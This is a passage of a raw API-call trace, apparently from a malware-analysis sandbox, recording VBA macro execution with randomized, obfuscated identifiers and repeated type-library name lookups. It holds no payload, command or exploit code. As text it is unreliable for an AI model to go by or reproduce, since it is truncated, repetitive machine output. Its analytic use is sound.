IUnknown:Release (This=0x7346470) returned 0xb [0018.464] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.464] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="LBIudRFHj", lHashVal=0x103e35, pfName=0x305240, pBstrLibName=0x305170 | out: pfName=0x305240*=0, pBstrLibName=0x305170) returned 0x0 [0018.464] IUnknown:Release (This=0x7345930) returned 0x7 [0018.464] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.464] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="LBIudRFHj", lHashVal=0x103e35, pfName=0x305240, pBstrLibName=0x305170 | out: pfName=0x305240*=0, pBstrLibName=0x305170) returned 0x0 [0018.464] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.464] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x7970d60 [0018.464] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_LBIudRFHj") returned 0x10477a [0018.464] strcpy_s (in: _Dst=0x3054d0, _DstSize=0x11, _Src="_B_var_LBIudRFHj" | out: _Dst="_B_var_LBIudRFHj") returned 0x0 [0018.464] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3054d0, cbMultiByte=17, lpWideCharStr=0x305320, cchWideChar=17 | out: lpWideCharStr="_B_var_LBIudRFHj") returned 17 [0018.464] IUnknown:AddRef (This=0x7919520) returned 0xd [0018.464] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_LBIudRFHj", lHashVal=0x10477a, pfName=0x3053f0, pBstrLibName=0x305320 | out: pfName=0x3053f0*=0, pBstrLibName=0x305320) returned 0x0 [0018.464] IUnknown:Release (This=0x7919520) returned 0xc [0018.464] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.464] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_LBIudRFHj", lHashVal=0x10477a, pfName=0x3053f0, pBstrLibName=0x305320 | out: pfName=0x3053f0*=0, pBstrLibName=0x305320) returned 0x0 [0018.464] IUnknown:Release (This=0x7346470) returned 0xb [0018.464] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.464] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_LBIudRFHj", lHashVal=0x10477a, pfName=0x3053f0, pBstrLibName=0x305320 | out: pfName=0x3053f0*=0, pBstrLibName=0x305320) returned 0x0 [0018.464] IUnknown:Release (This=0x7345930) returned 0x7 [0018.464] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.464] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_LBIudRFHj", lHashVal=0x10477a, pfName=0x3053f0, pBstrLibName=0x305320 | out: pfName=0x3053f0*=0, pBstrLibName=0x305320) returned 0x0 [0018.464] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.464] IUnknown:AddRef (This=0x7919520) returned 0xd [0018.464] IUnknown:Release (This=0x7919520) returned 0xc [0018.464] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.465] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6414c, cbMultiByte=10, lpWideCharStr=0x9e315dc, cchWideChar=22 | out: lpWideCharStr="JOiIOcApaM") returned 10 [0018.465] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb64160, cbMultiByte=10, lpWideCharStr=0x9e31786, cchWideChar=22 | out: lpWideCharStr="nTiwzjKnbX") returned 10 [0018.465] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb64174, cbMultiByte=10, lpWideCharStr=0x9e31930, cchWideChar=22 | out: lpWideCharStr="ufmrkoVKsn") returned 10 [0018.465] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb64188, cbMultiByte=10, lpWideCharStr=0x9e31ada, cchWideChar=22 | out: lpWideCharStr="AXBJYCTaip") returned 10 [0018.466] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6419c, cbMultiByte=10, lpWideCharStr=0x9e31c84, cchWideChar=22 | out: lpWideCharStr="HvaQzpKALB") returned 10 [0018.466] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb641b0, cbMultiByte=10, lpWideCharStr=0x9e31e2e, cchWideChar=22 | out: lpWideCharStr="jXfKidbqYa") returned 10 [0018.466] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb641c4, cbMultiByte=10, lpWideCharStr=0x9e31fd8, cchWideChar=22 | out: lpWideCharStr="GpzmMPSVXv") returned 10 [0018.466] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb641d8, cbMultiByte=10, lpWideCharStr=0x9e32182, cchWideChar=22 | out: lpWideCharStr="MjJmPwFVuu") returned 10 [0018.467] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xa200000 [0018.468] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="pzJhqLHhc") returned 0x108a3d [0018.468] strcpy_s (in: _Dst=0x305320, _DstSize=0xa, _Src="pzJhqLHhc" | out: _Dst="pzJhqLHhc") returned 0x0 [0018.468] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305320, cbMultiByte=10, lpWideCharStr=0x305170, cchWideChar=10 | out: lpWideCharStr="pzJhqLHhc") returned 10 [0018.468] IUnknown:AddRef (This=0x7919520) returned 0xd [0018.468] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="pzJhqLHhc", lHashVal=0x108a3d, pfName=0x305240, pBstrLibName=0x305170 | out: pfName=0x305240*=0, pBstrLibName=0x305170) returned 0x0 [0018.468] IUnknown:Release (This=0x7919520) returned 0xc [0018.468] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.468] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="pzJhqLHhc", lHashVal=0x108a3d, pfName=0x305240, pBstrLibName=0x305170 | out: pfName=0x305240*=0, pBstrLibName=0x305170) returned 0x0 [0018.468] IUnknown:Release (This=0x7346470) returned 0xb [0018.468] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.468] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="pzJhqLHhc", lHashVal=0x108a3d, pfName=0x305240, pBstrLibName=0x305170 | out: pfName=0x305240*=0, pBstrLibName=0x305170) returned 0x0 [0018.468] IUnknown:Release (This=0x7345930) returned 0x7 [0018.468] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.468] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="pzJhqLHhc", lHashVal=0x108a3d, pfName=0x305240, pBstrLibName=0x305170 | out: pfName=0x305240*=0, pBstrLibName=0x305170) returned 0x0 [0018.468] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.468] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x7970d60 [0018.468] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_pzJhqLHhc") returned 0x109382 [0018.468] strcpy_s (in: _Dst=0x3054d0, _DstSize=0x11, _Src="_B_var_pzJhqLHhc" | out: _Dst="_B_var_pzJhqLHhc") returned 0x0 [0018.468] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3054d0, cbMultiByte=17, lpWideCharStr=0x305320, cchWideChar=17 | out: lpWideCharStr="_B_var_pzJhqLHhc") returned 17 [0018.468] IUnknown:AddRef (This=0x7919520) returned 0xd [0018.468] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_pzJhqLHhc", lHashVal=0x109382, pfName=0x3053f0, pBstrLibName=0x305320 | out: pfName=0x3053f0*=0, pBstrLibName=0x305320) returned 0x0 [0018.468] IUnknown:Release (This=0x7919520) returned 0xc [0018.468] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.468] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_pzJhqLHhc", lHashVal=0x109382, pfName=0x3053f0, pBstrLibName=0x305320 | out: pfName=0x3053f0*=0, pBstrLibName=0x305320) returned 0x0 [0018.468] IUnknown:Release (This=0x7346470) returned 0xb [0018.468] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.468] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_pzJhqLHhc", lHashVal=0x109382, pfName=0x3053f0, pBstrLibName=0x305320 | out: pfName=0x3053f0*=0, pBstrLibName=0x305320) returned 0x0 [0018.468] IUnknown:Release (This=0x7345930) returned 0x7 [0018.468] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.468] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_pzJhqLHhc", lHashVal=0x109382, pfName=0x3053f0, pBstrLibName=0x305320 | out: pfName=0x3053f0*=0, pBstrLibName=0x305320) returned 0x0 [0018.468] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.468] IUnknown:AddRef (This=0x7919520) returned 0xd [0018.468] IUnknown:Release (This=0x7919520) returned 0xc [0018.468] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.468] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb641fc, cbMultiByte=10, lpWideCharStr=0xa20047c, cchWideChar=22 | out: lpWideCharStr="vbcBDiSwnE") returned 10 [0018.468] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb4f9e0 [0018.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb64210, cbMultiByte=10, lpWideCharStr=0xa200626, cchWideChar=22 | out: lpWideCharStr="hXpdQowNtu") returned 10 [0018.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb64224, cbMultiByte=10, lpWideCharStr=0xa2007d0, cchWideChar=22 | out: lpWideCharStr="jYFwizlqGi") returned 10 [0018.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb64238, cbMultiByte=10, lpWideCharStr=0xa20097a, cchWideChar=22 | out: lpWideCharStr="jYaucUkiGE") returned 10 [0018.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6424c, cbMultiByte=10, lpWideCharStr=0xa200b24, cchWideChar=22 | out: lpWideCharStr="zARQMWnriC") returned 10 [0018.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb64260, cbMultiByte=10, lpWideCharStr=0xa200cce, cchWideChar=22 | out: lpWideCharStr="LPwzqXVjXG") returned 10 [0018.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb64274, cbMultiByte=10, lpWideCharStr=0xa200e78, cchWideChar=22 | out: lpWideCharStr="zcsJVJzvBw") returned 10 [0018.470] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb64288, cbMultiByte=10, lpWideCharStr=0xa201022, cchWideChar=22 | out: lpWideCharStr="ENHowiGokH") returned 10 [0018.470] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dUwrHcrra") returned 0x101f4e [0018.470] strcpy_s (in: _Dst=0x305320, _DstSize=0xa, _Src="dUwrHcrra" | out: _Dst="dUwrHcrra") returned 0x0 [0018.470] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305320, cbMultiByte=10, lpWideCharStr=0x305170, cchWideChar=10 | out: lpWideCharStr="dUwrHcrra") returned 10 [0018.470] IUnknown:AddRef (This=0x7919520) returned 0xd [0018.470] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="dUwrHcrra", lHashVal=0x101f4e, pfName=0x305240, pBstrLibName=0x305170 | out: pfName=0x305240*=0, pBstrLibName=0x305170) returned 0x0 [0018.470] IUnknown:Release (This=0x7919520) returned 0xc [0018.470] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.470] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="dUwrHcrra", lHashVal=0x101f4e, pfName=0x305240, pBstrLibName=0x305170 | out: pfName=0x305240*=0, pBstrLibName=0x305170) returned 0x0 [0018.470] IUnknown:Release (This=0x7346470) returned 0xb [0018.470] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.470] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="dUwrHcrra", lHashVal=0x101f4e, pfName=0x305240, pBstrLibName=0x305170 | out: pfName=0x305240*=0, pBstrLibName=0x305170) returned 0x0 [0018.470] IUnknown:Release (This=0x7345930) returned 0x7 [0018.470] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.470] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="dUwrHcrra", lHashVal=0x101f4e, pfName=0x305240, pBstrLibName=0x305170 | out: pfName=0x305240*=0, pBstrLibName=0x305170) returned 0x0 [0018.470] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.470] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x7970d60 [0018.470] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_dUwrHcrra") returned 0x102893 [0018.470] strcpy_s (in: _Dst=0x3054d0, _DstSize=0x11, _Src="_B_var_dUwrHcrra" | out: _Dst="_B_var_dUwrHcrra") returned 0x0 [0018.470] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3054d0, cbMultiByte=17, lpWideCharStr=0x305320, cchWideChar=17 | out: lpWideCharStr="_B_var_dUwrHcrra") returned 17 [0018.470] IUnknown:AddRef (This=0x7919520) returned 0xd [0018.470] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_dUwrHcrra", lHashVal=0x102893, pfName=0x3053f0, pBstrLibName=0x305320 | out: pfName=0x3053f0*=0, pBstrLibName=0x305320) returned 0x0 [0018.470] IUnknown:Release (This=0x7919520) returned 0xc [0018.470] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.471] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_dUwrHcrra", lHashVal=0x102893, pfName=0x3053f0, pBstrLibName=0x305320 | out: pfName=0x3053f0*=0, pBstrLibName=0x305320) returned 0x0 [0018.471] IUnknown:Release (This=0x7346470) returned 0xb [0018.471] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.471] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_dUwrHcrra", lHashVal=0x102893, pfName=0x3053f0, pBstrLibName=0x305320 | out: pfName=0x3053f0*=0, pBstrLibName=0x305320) returned 0x0 [0018.471] IUnknown:Release (This=0x7345930) returned 0x7 [0018.471] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.471] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_dUwrHcrra", lHashVal=0x102893, pfName=0x3053f0, pBstrLibName=0x305320 | out: pfName=0x3053f0*=0, pBstrLibName=0x305320) returned 0x0 [0018.471] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.471] IUnknown:AddRef (This=0x7919520) returned 0xd [0018.471] IUnknown:Release (This=0x7919520) returned 0xc [0018.471] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.471] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb642ac, cbMultiByte=10, lpWideCharStr=0xa203314, cchWideChar=22 | out: lpWideCharStr="FwDKzGVIIv") returned 10 [0018.471] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb642c0, cbMultiByte=10, lpWideCharStr=0xa2034be, cchWideChar=22 | out: lpWideCharStr="CYsqlwzIJA") returned 10 [0018.471] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb642d4, cbMultiByte=10, lpWideCharStr=0xa203668, cchWideChar=22 | out: lpWideCharStr="HQhwPzDTop") returned 10 [0018.471] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb642e8, cbMultiByte=10, lpWideCharStr=0xa203812, cchWideChar=22 | out: lpWideCharStr="CkUrwwACHi") returned 10 [0018.471] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb642fc, cbMultiByte=10, lpWideCharStr=0xa2039bc, cchWideChar=22 | out: lpWideCharStr="bawthjQDWE") returned 10 [0018.472] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb4fc30 [0018.472] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb64310, cbMultiByte=10, lpWideCharStr=0xa203b66, cchWideChar=22 | out: lpWideCharStr="VLQcvoQHvC") returned 10 [0018.472] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb64324, cbMultiByte=10, lpWideCharStr=0xa203d10, cchWideChar=22 | out: lpWideCharStr="DBUStSEBum") returned 10 [0018.472] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb64338, cbMultiByte=10, lpWideCharStr=0xa203eba, cchWideChar=22 | out: lpWideCharStr="zuBbZhSoOj") returned 10 [0018.472] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xa210000 [0018.473] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="JtIDTTZdD") returned 0x1008d3 [0018.473] strcpy_s (in: _Dst=0x305320, _DstSize=0xa, _Src="JtIDTTZdD" | out: _Dst="JtIDTTZdD") returned 0x0 [0018.473] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305320, cbMultiByte=10, lpWideCharStr=0x305170, cchWideChar=10 | out: lpWideCharStr="JtIDTTZdD") returned 10 [0018.473] IUnknown:AddRef (This=0x7919520) returned 0xd [0018.474] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="JtIDTTZdD", lHashVal=0x1008d3, pfName=0x305240, pBstrLibName=0x305170 | out: pfName=0x305240*=0, pBstrLibName=0x305170) returned 0x0 [0018.474] IUnknown:Release (This=0x7919520) returned 0xc [0018.474] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.474] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="JtIDTTZdD", lHashVal=0x1008d3, pfName=0x305240, pBstrLibName=0x305170 | out: pfName=0x305240*=0, pBstrLibName=0x305170) returned 0x0 [0018.474] IUnknown:Release (This=0x7346470) returned 0xb [0018.474] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.474] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="JtIDTTZdD", lHashVal=0x1008d3, pfName=0x305240, pBstrLibName=0x305170 | out: pfName=0x305240*=0, pBstrLibName=0x305170) returned 0x0 [0018.474] IUnknown:Release (This=0x7345930) returned 0x7 [0018.474] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.474] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="JtIDTTZdD", lHashVal=0x1008d3, pfName=0x305240, pBstrLibName=0x305170 | out: pfName=0x305240*=0, pBstrLibName=0x305170) returned 0x0 [0018.474] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.474] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x7970d60 [0018.474] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_JtIDTTZdD") returned 0x101218 [0018.474] strcpy_s (in: _Dst=0x3054d0, _DstSize=0x11, _Src="_B_var_JtIDTTZdD" | out: _Dst="_B_var_JtIDTTZdD") returned 0x0 [0018.474] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3054d0, cbMultiByte=17, lpWideCharStr=0x305320, cchWideChar=17 | out: lpWideCharStr="_B_var_JtIDTTZdD") returned 17 [0018.474] IUnknown:AddRef (This=0x7919520) returned 0xd [0018.474] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_JtIDTTZdD", lHashVal=0x101218, pfName=0x3053f0, pBstrLibName=0x305320 | out: pfName=0x3053f0*=0, pBstrLibName=0x305320) returned 0x0 [0018.474] IUnknown:Release (This=0x7919520) returned 0xc [0018.474] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.474] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_JtIDTTZdD", lHashVal=0x101218, pfName=0x3053f0, pBstrLibName=0x305320 | out: pfName=0x3053f0*=0, pBstrLibName=0x305320) returned 0x0 [0018.474] IUnknown:Release (This=0x7346470) returned 0xb [0018.474] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.474] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_JtIDTTZdD", lHashVal=0x101218, pfName=0x3053f0, pBstrLibName=0x305320 | out: pfName=0x3053f0*=0, pBstrLibName=0x305320) returned 0x0 [0018.474] IUnknown:Release (This=0x7345930) returned 0x7 [0018.474] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.474] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_JtIDTTZdD", lHashVal=0x101218, pfName=0x3053f0, pBstrLibName=0x305320 | out: pfName=0x3053f0*=0, pBstrLibName=0x305320) returned 0x0 [0018.474] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.474] IUnknown:AddRef (This=0x7919520) returned 0xd [0018.474] IUnknown:Release (This=0x7919520) returned 0xc [0018.474] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.481] IMalloc:Free (This=0x7fefe9e5380, pv=0x790c040) [0018.481] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.481] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0018.481] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.481] GetProcAddress (hModule=0x7fef0cc0000, lpProcName=0x2c9) returned 0x7fef103a1f4 [0018.481] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.481] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0018.482] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.482] GetProcAddress (hModule=0x7fef0cc0000, lpProcName=0x259) returned 0x7fef103c3e0 [0018.482] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.482] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0018.482] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.482] GetProcAddress (hModule=0x7fef0cc0000, lpProcName=0x258) returned 0x7fef0dbc6fc [0018.494] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0x7a7eeb0 | out: ppsaOut=0x7a7eeb0) returned 0x0 [0018.494] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.495] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.495] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.495] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0x7a7eeb0 | out: ppsaOut=0x7a7eeb0) returned 0x0 [0018.495] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.496] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.496] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.496] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x810) returned 0x5344750 [0018.496] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6054c, cbMultiByte=10, lpWideCharStr=0x72600dc, cchWideChar=22 | out: lpWideCharStr="zGIAOfstwA") returned 10 [0018.496] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60566, cbMultiByte=10, lpWideCharStr=0x7260526, cchWideChar=22 | out: lpWideCharStr="mbRzsuiXXP") returned 10 [0018.496] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6057a, cbMultiByte=10, lpWideCharStr=0x72606d0, cchWideChar=22 | out: lpWideCharStr="HjLfQiJcPT") returned 10 [0018.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6058e, cbMultiByte=10, lpWideCharStr=0x726087a, cchWideChar=22 | out: lpWideCharStr="VHPEVAhvtN") returned 10 [0018.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb605a2, cbMultiByte=10, lpWideCharStr=0x7260a24, cchWideChar=22 | out: lpWideCharStr="uahjtjMJZn") returned 10 [0018.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb605b6, cbMultiByte=10, lpWideCharStr=0x7260bce, cchWideChar=22 | out: lpWideCharStr="RYziPTvdjj") returned 10 [0018.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb605ca, cbMultiByte=10, lpWideCharStr=0x7260d78, cchWideChar=22 | out: lpWideCharStr="VQicifLMir") returned 10 [0018.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb605de, cbMultiByte=10, lpWideCharStr=0x7260f22, cchWideChar=22 | out: lpWideCharStr="NniKUjwblk") returned 10 [0018.498] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ImUDRi") returned 0x1066e0 [0018.498] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x7, _Src="ImUDRi" | out: _Dst="ImUDRi") returned 0x0 [0018.498] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=7, lpWideCharStr=0x305010, cchWideChar=7 | out: lpWideCharStr="ImUDRi") returned 7 [0018.498] IUnknown:AddRef (This=0x7919520) returned 0xd [0018.498] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="ImUDRi", lHashVal=0x1066e0, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.498] IUnknown:Release (This=0x7919520) returned 0xc [0018.498] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.498] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="ImUDRi", lHashVal=0x1066e0, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.498] IUnknown:Release (This=0x7346470) returned 0xb [0018.498] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.498] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="ImUDRi", lHashVal=0x1066e0, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.498] IUnknown:Release (This=0x7345930) returned 0x7 [0018.498] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.498] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="ImUDRi", lHashVal=0x1066e0, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.498] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.498] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x7970d60 [0018.498] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_ImUDRi") returned 0x10e189 [0018.498] strcpy_s (in: _Dst=0x305370, _DstSize=0xe, _Src="_B_var_ImUDRi" | out: _Dst="_B_var_ImUDRi") returned 0x0 [0018.498] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=14, lpWideCharStr=0x3051c0, cchWideChar=14 | out: lpWideCharStr="_B_var_ImUDRi") returned 14 [0018.498] IUnknown:AddRef (This=0x7919520) returned 0xd [0018.498] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_ImUDRi", lHashVal=0x10e189, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.498] IUnknown:Release (This=0x7919520) returned 0xc [0018.498] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.498] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_ImUDRi", lHashVal=0x10e189, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.498] IUnknown:Release (This=0x7346470) returned 0xb [0018.498] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.498] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_ImUDRi", lHashVal=0x10e189, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.498] IUnknown:Release (This=0x7345930) returned 0x7 [0018.498] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.498] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_ImUDRi", lHashVal=0x10e189, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.498] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.498] IUnknown:AddRef (This=0x7919520) returned 0xd [0018.498] IUnknown:Release (This=0x7919520) returned 0xc [0018.498] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.498] MultiByteToWideChar (in: CodePage=0x0, 